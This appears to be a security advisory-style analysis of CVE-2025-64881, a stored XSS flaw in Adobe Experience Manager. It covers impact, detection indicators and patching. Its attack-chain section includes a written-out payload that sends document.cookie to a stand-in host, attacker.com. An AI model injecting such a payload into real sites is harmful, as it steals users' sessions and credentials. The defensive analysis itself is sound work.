CVE-2025-64881: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64881 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, and patched on December 10, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, EUVD).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting) and stems from insufficient sanitization of user-supplied input in AEM form fields. A low-privileged, network-accessible attacker can inject persistent malicious JavaScript into vulnerable fields; the script executes in the browser of any victim who subsequently visits the page containing the compromised field. Exploitation requires user interaction (a victim browsing to the affected page) but no elevated privileges beyond a standard authenticated account (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and defacement of AEM-hosted content. Because the payload is stored server-side, every user who visits the affected page is at risk, amplifying the potential victim pool. Confidentiality and integrity of data accessible to the victim's session are both impacted, though availability is not directly affected (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan queries targeting AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM author or contributor account, as exploitation requires authentication.
3. Locate vulnerable form fields: Navigate to AEM pages or components that accept and store user input (e.g., content authoring forms, comment fields, or custom components) that lack proper output encoding.
4. Inject stored XSS payload: Submit a crafted payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an equivalent obfuscated variant into the vulnerable field and save/publish the content.
5. Trigger victim execution: When a higher-privileged user (e.g., an administrator) browses to the page containing the injected content, the malicious script executes in their browser, enabling session hijacking, credential theft, or further actions on their behalf (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /bin/, or component-specific paths) containing script tags or encoded JavaScript payloads from low-privileged accounts.
• File System / Repository: Unexpected <script> tags or JavaScript URIs stored within JCR (Java Content Repository) nodes in the AEM repository, discoverable via CRXDE Lite or repository queries.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages, potentially carrying cookie or session data in query parameters.
• Process/Application: AEM error logs recording unexpected content rendering or Content Security Policy (CSP) violations related to inline script execution.

Adobe has released patches addressing CVE-2025-64881 in AEM 6.5.24.0 (on-premises) and AEM Cloud Service 2025.12.0. Organizations should upgrade to these versions immediately. As a temporary workaround, restricting content authoring access to trusted users and enforcing a strict Content Security Policy (CSP) can reduce the risk of XSS exploitation. AEM Cloud Service customers on the managed update track will receive the fix automatically (Adobe Advisory).